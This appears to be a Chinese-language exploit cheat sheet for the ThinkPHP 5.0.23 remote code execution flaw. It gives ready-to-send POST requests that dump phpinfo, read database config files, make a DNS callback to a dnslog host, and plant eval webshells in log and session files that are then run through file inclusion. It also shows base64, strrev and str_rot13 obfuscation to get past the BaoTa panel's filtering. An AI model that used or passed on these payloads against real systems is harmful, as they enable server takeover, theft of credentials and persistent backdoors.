ThinkPHP5.0.23 RCE+Debug关闭+免费宝塔+PHP7

多谢大家这一年的照顾和喜欢,这是我应得的


phpinfo里面搜索session.save_path ,可找session保存的位置

session路径

1
2
3
4
/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

RCE读取PHPinfo

1
2
3
POST /index.php?s=captch

_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=-1

设置 server[REQUEST_METHOD]=-1 可以看到phpinfo全部内容

gethostbyname函数打dnslog

1
2
3
PODT /index.php?s=captch

_method=__construct&filter[]=gethostbyname&method=get&server[REQUEST_METHOD]=g9kkb6.dnslog.cn

文件读取

1
2
3
POST /index.php?s=captch

_method=__construct&filter[]=readfile&method=get&server[REQUEST_METHOD]=./../application/database.php

写shell进日志

1
2
3
POST /index.php?s=captch

_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST['x'])?>

包含日志文件

1
2
3
POST /index.php?s=captch

_method=__construct&method=get&filter[]=think\\\\__include_file&server[]=phpinfo&get[]=../runtime/log/201901/21.log&x=phpinfo();

正常session包含写马

写马

1
2
3
4
POST /index.php?s=captch
Cookie: PHPSESSID=test123

_method=__construct&filter[]=think\\\\Session::set&method=get&get[]=<?php eval($_GET[1]); ?>&server[]=1

包含 session 文件

1
2
POST /index.php?s=captch
_method=__construct&method=get&filter[]=think\\\\__include_file&get[]=/tmp/sess_test123&server[]=1

突破宝塔session包含写马1

写马

使用 php://filterbase64 两次编码和 strrev() 反转函数绕过

参考文章:https://www.cnblogs.com/wkzb/p/14156026.html

1
2
3
4
POST /index.php/?s=captcha
Cookie: PHPSESSID=505test2

_method=__construct&filter[]=think\\\\Session::set&method=get&get[]=abPD9waHAgQGV2YWwoYmFzZTY0X2RlY29kZSgkX0dFVFsnciddKSk7Oz8%2bab&server[]=1

写入马的内容为:<?php @eval(base64_decode($_GET['r']));;?>

包含

1
2
3
/index.php/?s=captcha&r=cGhwaW5mbygpOw==

_method=__construct&filter[]=strrev&filter[]=think\\\\__include_file&method=get&server[]=1&get[]=2tset505_sses/pmt/=ecruoser/edoced-46esab.trevnoc=daer/retlif//:php

&r=cGhwaW5mbygpOw== 明文 -> &r=phpinfo();2tset505_sses 为反转后的session文件 2tset505_sses/pmt/=ecruoser 前面的/pmt/为反转后的session文件路径

突破宝塔session包含写马2

写马

通过 str_rot13 函数+变量引用绕过

1
2
3
4
/?s=captcha
Cookie: PHPSESSID=test2

_method=__construct&filter[]=think\\\\Session::set&method=get&get[]=<?php $aa=str_rot13('riny(onfr64_qrpbqr($_CBFG[frghc]));'); eval ($aa);?>&server[]=1

加密字段为 eval(base64_decode($_POST[setup])); 密码:setup

包含

1
2
3
/index.php/?s=captcha

_method=__construct&method=get&filter[]=think__include_file&get[]=/tmp/sess_test2&server[]=1&setup=cGhwaW5mbygpOw==

&setup=cGhwaW5mbygpOw== 明文 -> &setup=phpinfo();